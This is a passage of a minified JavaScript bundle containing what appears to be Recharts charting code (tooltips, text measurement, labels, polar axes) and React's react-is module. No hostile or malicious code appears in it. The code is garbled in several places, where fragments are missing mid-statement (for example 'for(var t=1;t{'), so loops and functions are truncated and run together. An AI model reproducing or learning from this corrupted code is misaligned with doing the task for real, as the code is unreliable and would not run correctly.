t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return cs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=a9(h,t9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=ha(ha({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(ha(ha({},d),{},{payload:ha(ha({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(M=>String(M.value)===d.payload.label));var{coordinate:_}=d.payload;if(S==null||d.payload.active===!1||_==null||o==null){n(lh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:O}=_,P=Math.min(A,o.x+o.width),I=Math.min(O,o.y+o.height),U={x:a==="horizontal"?S.coordinate:P,y:a==="horizontal"?I:S.coordinate},D=lh({active:d.payload.active,coordinate:U,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(D)}}};return Fo.on(dh,c),()=>{Fo.off(dh,c)}},[l,n,t,e,r,i,a,o])}function l9(){var e=ye(y0),t=ye(b0),n=it();p.useEffect(()=>{if(e==null)return cs;var r=(i,a,o)=>{t!==o&&e===i&&n(JR(a))};return Fo.on(jb,r),()=>{Fo.off(jb,r)}},[n,t,e])}function c9(){var e=it();p.useEffect(()=>{e(XR())},[e]),o9(),l9()}function u9(e,t,n,r,i,a){var o=ye(h=>gR(h,e,t)),l=ye(b0),c=ye(y0),u=ye(N4),d=ye(ZR),f=d==null?void 0:d.active,m=Td();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=lh({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Fo.emit(dh,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function Sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zb(e){for(var t=1;t{N(pD({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var _=Td(),A=gN(),O=oD(b),{activeIndex:P,isActive:I}=(t=ye(Y=>wR(Y,O,w,z)))!==null&&t!==void 0?t:{},U=ye(Y=>bR(Y,O,w,z)),D=ye(Y=>A3(Y,O,w,z)),M=ye(Y=>yR(Y,O,w,z)),F=U,R=HR(),W=(n=i??I)!==null&&n!==void 0?n:!1,[$,H]=X6([F,W]),X=O==="axis"?D:void 0;u9(O,w,M,X,P,W);var se=k??R;if(se==null||_==null||O==null)return null;var ue=F??Cb;W||(ue=Cb),u&&ue.length&&(ue=m6(ue.filter(Y=>Y.value!=null&&(Y.hide!==!0||r.includeHidden)),m,m9));var ge=ue.length>0,xe=p.createElement(dM,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:W,coordinate:M,hasPayload:ge,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:_,wrapperStyle:y,lastBoundingBox:$,innerRef:H,hasPortalFromProps:!!k},h9(c,zb(zb({},r),{},{payload:ue,label:X,active:W,activeIndex:P,coordinate:M,accessibilityLayer:A})));return p.createElement(p.Fragment,null,fx.createPortal(xe,se),W&&p.createElement(VR,{cursor:v,tooltipEventType:O,coordinate:M,payload:ue,index:P}))}var nf=e=>null;nf.displayName="Cell";function v9(e,t,n){return(t=g9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function g9(e){var t=y9(e,"string");return typeof t=="symbol"?t:t+""}function y9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class b9{constructor(t){v9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w9(e){for(var t=1;t{try{var n=document.getElementById(_b);n||(n=document.createElement("span"),n.setAttribute("id",_b),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,z9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Tb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Dd.isSsr)return{width:0,height:0};if(!D3.enableCache)return Ob(t,n);var r=C9(t,n),i=Ab.get(r);if(i)return i;var a=Ob(t,n);return Ab.set(r,a),a},R3;function P9(e,t,n){return(t=E9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function E9(e){var t=A9(e,"string");return typeof t=="symbol"?t:t+""}function A9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Mb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Lb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,_9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,O9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,T9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},M9=["cm","mm","pt","pc","in","Q","px"];function L9(e){return M9.includes(e)}var _a="NaN";function I9(e,t){return e*T9[t]}class Nt{static parse(t){var n,[,r,i]=(n=O9.exec(t))!==null&&n!==void 0?n:[];return r==null?Nt.NaN:new Nt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,lr(t)&&(this.unit=""),n!==""&&!_9.test(n)&&(this.num=NaN,this.unit=""),L9(n)&&(this.num=I9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return lr(this.num)}}R3=Nt;P9(Nt,"NaN",new R3(NaN,""));function $3(e){if(e==null||e.includes(_a))return _a;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=Mb.exec(t))!==null&&n!==void 0?n:[],o=Nt.parse(r??""),l=Nt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return _a;t=t.replace(Mb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=Lb.exec(t))!==null&&u!==void 0?u:[],h=Nt.parse(d??""),x=Nt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return _a;t=t.replace(Lb,g.toString())}return t}var Ib=/\(([^()]*)\)/;function D9(e){for(var t=e,n;(n=Ib.exec(t))!=null;){var[,r]=n;t=t.replace(Ib,$3(r))}return t}function R9(e){var t=e.replace(/\s+/g,"");return t=D9(t),t=$3(t),t}function $9(e){try{return R9(e)}catch{return _a}}function fp(e){var t=$9(e.slice(5,-1));return t===_a?"":t}var B9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],F9=["dx","dy","angle","className","breakAll"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Pt(t)||(n?i=t.toString().split(""):i=t.toString().split(B3));var a=i.map(l=>({word:l,width:Tb(l,r).width})),o=n?0:Tb(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function U9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var W3=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),V9="…",Rb=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=F3({breakAll:n,style:r,children:c+V9});if(!u)return[!1,[]];var d=W3(u.wordsWithComputedWidth,a,o,l),f=d.length>i||U3(d).width>Number(a);return[f,d]},H9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=he(a),d=String(o),f=W3(t,r,n,i);if(!u||i)return f;var m=f.length>a||U3(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Rb(d,b,c,l,a,r,n,i),[k]=Rb(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},$b=e=>{var t=Pt(e)?[]:e.toString().split(B3);return[{words:t,width:void 0}]},K9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!Dd.isSsr){var l,c,u=F3({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return $b(r);return H9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return $b(r)},V3="#808080",q9={angle:0,breakAll:!1,capHeight:"0.71em",fill:V3,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},nv=p.forwardRef((e,t)=>{var n=fn(e,q9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Db(n,B9),m=p.useMemo(()=>K9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Db(f,F9);if(!Pr(r)||!Pr(i)||m.length===0)return null;var w=Number(r)+(he(h)?h:0),j=Number(i)+(he(x)?x:0);if(!ze(w)||!ze(j))return null;var k;switch(d){case"start":k=fp("calc(".concat(o,")"));break;case"middle":k=fp("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=fp("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:_}=f;S.push("scale(".concat(he(_)&&he(z)?_/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",fh({},Dt(b),{ref:t,x:w,y:j,className:Xe("recharts-text",y),textAnchor:u,fill:l.includes("url")?V3:l}),m.map((A,O)=>{var P=A.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:O===0?k:a,key:"".concat(P,"-").concat(O)},P)}))});nv.displayName="Text";function Bb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Vx(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var _={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(_.height=Math.max(N.y+N.height-(o+l),0),_.width=u),_}if(n==="left"){var A={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(A.width=Math.max(A.x-N.x,0),A.height=l),A}if(n==="right"){var O={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(O.width=Math.max(N.x+N.width-O.x,0),O.height=l),O}var P=N?{width:h,height:l}:{};return n==="insideLeft"?Jn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},P):n==="insideRight"?Jn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideTop"?Jn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?Jn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?Jn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},P):n==="insideTopRight"?Jn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideBottomLeft"?Jn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},P):n==="insideBottomRight"?Jn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n&&typeof n=="object"&&(he(n.x)||ta(n.x))&&(he(n.y)||ta(n.y))?Jn({x:a+sn(n.x,h),y:o+sn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):Jn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},Q9=["labelRef"],J9=["content"];function Fb(e,t){if(e==null)return{};var n,r,i=e$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(i$),t=Td();return e||(t?Vx(t):void 0)},s$=p.createContext(null),o$=()=>{var e=p.useContext(s$),t=ye(A4);return e||t},l$=e=>{var{value:t,formatter:n}=e,r=Pt(e.children)?t:e.children;return typeof n=="function"?n(r):r},c$=e=>e!=null&&typeof e=="function",u$=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},d$=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=u$(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=st(l,c,x,v),j=st(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),S=Pt(e.id)?Po("recharts-radial-line-"):e.id;return p.createElement("text",Au({},r,{dominantBaseline:"central",className:Xe("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},f$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=st(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=st(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},xc=e=>e!=null&&"cx"in e&&he(e.cx),p$={angle:0,offset:5,zIndex:Ht.label,position:"middle",textBreakAll:!1};function m$(e){if(!xc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function H3(e){var t=fn(e,p$),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=o$(),m=a$(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:xc(n)?x=n:x=Vx(n);var v=m$(x);if(!x||Pt(a)&&Pt(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Kl(Kl({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Fb(b,Q9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Fb(b,J9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=l$(t);var N=Dt(t);if(xc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return d$(t,i,g,N,x);y=f$(x,t.offset,t.position)}else{if(!v)return null;var z=Z9({viewBox:v,position:i,offset:t.offset,parentViewBox:xc(r)?void 0:r});y=Kl(Kl({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(Si,{zIndex:t.zIndex},p.createElement(nv,Au({ref:d,className:Xe("recharts-label",c)},N,y,{textAnchor:U9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}H3.displayName="Label";var K3={},q3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(q3);var Y3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(Y3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=q3,n=Y3,r=hd;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(K3);var h$=K3.last;const x$=Lr(h$);var v$=["valueAccessor"],g$=["dataKey","clockWise","id","textBreakAll","zIndex"];function _u(){return _u=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?x$(e.value):e.value,G3=p.createContext(void 0),w$=G3.Provider,X3=p.createContext(void 0),j$=X3.Provider;function k$(){return p.useContext(G3)}function N$(){return p.useContext(X3)}function vc(e){var{valueAccessor:t=b$}=e,n=Ub(e,v$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=Ub(n,g$),u=k$(),d=N$(),f=u||d;return!f||!f.length?null:p.createElement(Si,{zIndex:l??Ht.label},p.createElement(Gt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=Pt(r)?t(m,h):Fe(m.payload,r),y=Pt(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(H3,_u({key:"label-".concat(h)},Dt(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}vc.displayName="LabelList";function Z3(e){var{label:t}=e;return t?t===!0?p.createElement(vc,{key:"labelList-implicit"}):p.isValidElement(t)||c$(t)?p.createElement(vc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(vc,_u({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function ph(){return ph=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=Xe("recharts-dot",i);return he(t)&&he(n)&&he(r)?p.createElement("circle",ph({},Cr(e),Sx(e),{className:a,cx:t,cy:n,r})):null},J3=e=>e.graphicalItems.polarItems,S$=T([Ze,sl],C0),rf=T([J3,tt,S$],P0),z$=T([rf],E0),af=T([z$,Kd],A0),C$=T([af,tt,rf],O0);T([af,tt,rf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Fe(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Vb=()=>{},P$=T([af,tt,rf,Qd,Ze],I0),E$=T([tt,M0,L0,Vb,P$,Vb,Me,Ze],D0),eS=T([tt,Me,af,C$,al,Ze,E$],R0),A$=T([eS,hs,Ni],F0),_$=T([tt,eS,A$,Ze],U0);T([Ni,_$],O4);var O$={radiusAxis:{},angleAxis:{}},tS=Xt({name:"polarAxis",initialState:O$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:DV,removeRadiusAxis:RV,addAngleAxis:$V,removeAngleAxis:BV}=tS.actions,T$=tS.reducer;function M$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Hb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Kb(e){for(var t=1;tt,rv=T([J3,R$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),$$=[],iv=(e,t,n)=>(n==null?void 0:n.length)===0?$$:n,nS=T([Kd,rv,iv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Kb(Kb({},t.presentationProps),a.props))),i!=null)return i}}),B$=T([nS,rv,iv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Fe(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Pd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),F$=T([nS,rv,iv,yt],(e,t,n,r)=>{if(!(t==null||e==null))return KB({offset:r,pieSettings:t,displayedData:e,cells:n})}),rS={exports:{}},Le={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var av=Symbol.for("react.transitional.element"),sv=Symbol.for("react.portal"),sf=Symbol.for("react.fragment"),of=Symbol.for("react.strict_mode"),lf=Symbol.for("react.profiler"),cf=Symbol.for("react.consumer"),uf=Symbol.for("react.context"),df=Symbol.for("react.forward_ref"),ff=Symbol.for("react.suspense"),pf=Symbol.for("react.suspense_list"),mf=Symbol.for("react.memo"),hf=Symbol.for("react.lazy"),W$=Symbol.for("react.view_transition"),U$=Symbol.for("react.client.reference");function En(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case av:switch(e=e.type,e){case sf:case lf:case of:case ff:case pf:case W$:return e;default:switch(e=e&&e.$$typeof,e){case uf:case df:case hf:case mf:return e;case cf:return e;default:return t}}case sv:return t}}}Le.ContextConsumer=cf;Le.ContextProvider=uf;Le.Element=av;Le.ForwardRef=df;Le.Fragment=sf;Le.Lazy=hf;Le.Memo=mf;Le.Portal=sv;Le.Profiler=lf;Le.StrictMode=of;Le.Suspense=ff;Le.SuspenseList=pf;Le.isContextConsumer=function(e){return En(e)===cf};Le.isContextProvider=function(e){return En(e)===uf};Le.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===av};Le.isForwardRef=function(e){return En(e)===df};Le.isFragment=function(e){return En(e)===sf};Le.isLazy=function(e){return En(e)===hf};Le.isMemo=function(e){return En(e)===mf};Le.isPortal=function(e){return En(e)===sv};Le.isProfiler=function(e){return En(e)===lf};Le.isStrictMode=function(e){return En(e)===of};Le.isSuspense=function(e){return En(e)===ff};Le.isSuspenseList=function(e){return En(e)===pf};Le.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===sf||e===lf||e===of||e===ff||e===pf||typeof e=="object"&&e!==null&&(e.$$typeof===hf||e.$$typeof===mf||e.$$typeof===uf||e.$$typeof===cf||e.$$typeof===df||e.$$typeof===U$||e.getModuleId!==void 0)};Le.typeOf=En;rS.exports=Le;var V$=rS.exports,qb=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",Yb=null,pp=null,iS=e=>{if(e===Yb&&Array.isArray(pp))return pp;var t=[];return p.Children.forEach(e,n=>{Pt(n)||(V$.isFragment(n)?t=t.concat(iS(n.props.children)):t.push(n))}),pp=t,Yb=e,t};function aS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>qb(i)):r=[qb(t)],iS(e).forEach(i=>{var a=Co(i,"type.displayName")||Co(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var sS=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,oS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(oS);var H$=oS.isPlainObject;const K$=Lr(H$);var Gb,Xb,Zb,Qb,Jb;function e2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function t2(e){for(var t=1;t{var a=n-r,o;return o=Qe(Gb||(Gb=Rs(["M ",",",""])),e,t),o+=Qe(Xb||(Xb=Rs(["L ",",",""])),e+n,t),o+=Qe(Zb||(Zb=Rs(["L ",",",""])),e+n-a/2,t+i),o+=Qe(Qb||(Qb=Rs(["L ",",",""])),e+n-a/2-r,t+i),o+=Qe(Jb||(Jb=Rs(["L ",","," Z"])),e,t),o},X$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Z$=e=>{var t=fn(e,X$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=$d(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var U=m.current.getTotalLength();U&&x(U)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=Xe("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",Ou({},Dt(t),{className:k,d:n2(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,_=b.current,A=w.current,O="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),I=yN(["strokeDasharray"],u,c);return p.createElement(Rd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},U=>{var D=St(S,i,U),M=St(N,a,U),F=St(z,o,U),R=St(_,n,U),W=St(A,r,U);m.current&&(g.current=D,y.current=M,v.current=F,b.current=R,w.current=W);var $=U>0?{transition:I,strokeDasharray:P}:{strokeDasharray:O};return p.createElement("path",Ou({},Dt(t),{className:k,d:n2(R,W,D,M,F),ref:m,style:t2(t2({},$),t.style)}))})},Q$=["option","shapeType","activeClassName"];function J$(e,t){if(e==null)return{};var n,r,i=eB(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(c3({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},cB=e=>{var t=it();return(n,r)=>i=>{e==null||e(n,r,i),t(mD())}},uB=(e,t,n)=>{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(hD({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function 